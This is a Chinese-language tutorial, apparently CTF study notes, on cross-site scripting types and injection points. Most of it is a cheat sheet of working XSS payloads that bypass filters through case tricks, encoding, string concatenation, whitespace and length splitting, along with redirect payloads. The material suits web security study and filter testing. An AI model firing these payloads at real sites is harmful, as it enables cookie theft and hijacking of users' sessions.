XSS跨站脚本攻击
即在受害者的浏览器中注入恶意脚本
1.存储型XSS
代码储存到服务器中,用户访问该页面的时候触发代码执行。
存储型XSS的数据流通:恶意代码通过交互界面上传到后端数据库→管理员admin查询数据库的信息→恶意脚本从后端传到前端
典例:留言板XSS。用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,留言内容会从数据库查询出来并显示,浏览器发现XSS代码,当做正常的HTML与Js解析执行,于是触发XSS攻击。
2.反射型XSS
欺骗用户点击链接触发XSS代码,盗取用户的Cookie信息。
反射型XSS的数据流通:在<input>
标签形成的输入框里输入恶意脚本→用户触发,后端接收,进行攻击→显示在前端
3.DOM-XSS
不经过后端通过url传入参数去控制触发,属于反射型XSS,即在前端url添加恶意脚本后直接在页面输出
插入位置/攻击对象
1.HTML注释内容
1 2 3 4 5
| <!-- <script> alert('xss'); </script> -->
|
2.HTML标签属性值
1 2
| <script>alert('xss')</script> <img src="image.png" onerror=" <script>alert('xss')</script>">
|
image图片无法显示时调用onerror
属性执行恶意脚本。
3.HTML标签属性名
1
| <input type="text" onclick="alert('xss')" name="><script>alert('xss')</script>">
|
恶意代码插入到了<input>
标签中的name
属性值中
4.HTML标签名
1
| <<script>alert('xss')</script>img src="xss.png">
|
恶意代码插入到<img>
标签中,由于标签名被拆分成两部分,浏览器会将第一个尖括号视为标签名的起始符号,而第二个尖括号则是<script>
标签的起始符号,从而误以为有两个标签被嵌套在一起
5.script
,img
,svg
标签
1
| <script>alert("xss");</script>
|
1
| <img src=1 onerror=alert("xss");>
|
1
| <svg onload=alert("xss");>
|
6.CSS
1
| <div style="background-image:url('javascript:alert(`xss`)');">
|
在background-image
样式属性中插入一段JavaScript url,当用户打开页面时会执行弹窗,浏览器执行插入的java伪协议代码
7.HTTP响应
过滤绕过
关键词绕过
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
下面的代码运用了php中的strtolower()函数将字符串转为小写,但是我们可以利用大小写绕过
1 2 3 4 5
| <?php $q = isset($_GET['q']) ? $_GET['q'] : ''; $q = strtolower($q); ?> <p>你搜索的关键词是:<?php echo $q; ?></p>
|
xxxxx?q=<sCriPt>alert(1)<sCriPt>
双写关键字
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
eval
1
| <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
|
top
1
| <script>top["al"+"ert"](`xss`);</script>
|
window
1
| <img src="x" onerror="window['al'+'ert'](1)">
|
self
1
| <img src="x" onerror="self[`al`+`ert`](1)">
|
parent
1
| <img src="x" onerror="parent[`al`+`ert`](1)">
|
frames
1
| <img src="x" onerror="frames[`al`+`ert`](1)">
|
函数替换(以<img>
标签举例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <img src= "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-src="x" onerror="eval(alert(1))"> <img src="x" onerror="open(alert(1))"> <img src="x" onerror="document.write(alert(1))"> <img src="x" onerror="setTimeout(alert(1))"> <img src="x" onerror="setInterval(alert(1))"> <img src="x" onerror="Set.constructor(alert(1))"> <img src="x" onerror="Map.constructor(alert(1))"> <img src="x" onerror="Array.constructor(alert(1))"> <img src="x" onerror="WeakSet.constructor(alert(1))"> <img src="x" onerror="constructor.constructor(alert(1))"> <img src="x" onerror="[1].map(alert(1))"> <img src="x" onerror="[1].find(alert(1))"> <img src="x" onerror="[1].every(alert(1))"> <img src="x" onerror="[1].filter(alert(1))"> <img src="x" onerror="[1].forEach(alert(1))"> <img src="x" onerror="[1].findIndex(alert(1))">
|
嵌套绕过
利用攻击对象原理进行绕过
1
| <sc<script>ript>alert('Evi1s7')</sc</script>ript>
|
赋值绕过
编码绕过
html实体编码转义
当我们的可控点为单个标签属性时,可以使用 html 实体编码。
1 2
| <iframe src="可控点">test<iframe> <script>可控点</script>
|
payload:
1
| <a href=javascript:alert(1)>aaa</a>
|
十进制绕过
1
| <a href=javascript:alert(1)>aaa</a>
|
十六进制绕过
(如果题目过滤了分号,这里其实也可以把分号删去)
1
| <a href=javascript:alert(1)>aaa</a>
|
填充0
1
| <a href=javascript:alert(1)>aaa</a>
|
url编码绕过
1 2
| <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
需要注入点存在href属性或者src属性才可以利用url编码转义
在url解析过程中,不能对协议类型进行任何的编码操作
Ascii码绕过
1
| <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
|
hex绕过
1
| <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
|
八进制
1
| <img src=x onerror=alert('\170\163\163')>
|
base64绕过
1 2
| <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
空格绕过
在html的标签中的不同位置的空格绕过方式不同
1
| <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
|
A位置: /,/123/,%09,%0A,%0C,%0D,%20
B位置:%09,%0A,%0C,%0D,%20
C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D位置:%09,%0A,%0C,%0D,%20,//,>
()绕过
1.利用反引号
1
| <script>alert`1`</script>
|
如果是html标签中可以不用引号。如果是在js中,可以用反引号代替单双引号
1
| <img src="x" onerror=alert(`xss`);>
|
2.throw绕过
1 2
| <script>alert;throw 1</script> <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
|
单引号过滤
1.可以利用斜杠替换
1
| <script>alert(/xss/)</script>
|
2.利用反引号替换
1
| <script>alert(`xss`)</script>
|
alert过滤绕过
1.利用其他JavaScript的函数替换
prompt()
1
| <script>prompt('xss')</script>
|
confirm()
1
| <script>confirm('xss')</script>
|
console.log()
1
| <script>console.log('xss')</script>
|
document.write()
1
| <script>document.write('xss')</script>
|
2.利用编码绕过
1 2 3 4
| <img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"> #alert(1) <a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a> #alert(1)
|
长度限制
拆分法
1 2 3 4 5
| <script>a='document.write("'</script> <script>a=a+'<a href=ht'</script> <script>a=a+'tp://VPS-IP:po'</script> <script>a=a+'rt>xss</a>")'</script> <script>eval(a)</script>
|
利用eval()函数将字符串解析为可执行的代码,从而进行拼接
1
| document.write("<a href=http://VPS-IP:port>xss</a>")
|
分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
1
| <script>{onerror=alert}throw 1</script>
|
过滤url地址
使用url编码
1
| <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
|
使用IP
1.十进制IP
1
| <img src="x" onerror=document.location=`http://2130706433/`>
|
2.八进制IP
1
| <img src="x" onerror=document.location=`http://0177.0.0.01/`>
|
3.hex
1
| <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
|
4.html标签中用//
代替http://
1
| <img src="x" onerror=document.location=`//www.baidu.com`>
|
5.使用\\
但是要注意在windows下\
本身就有特殊用途,是一个path
的写法,所以\在Windows下是file
协议,在linux下才会是当前域的协议.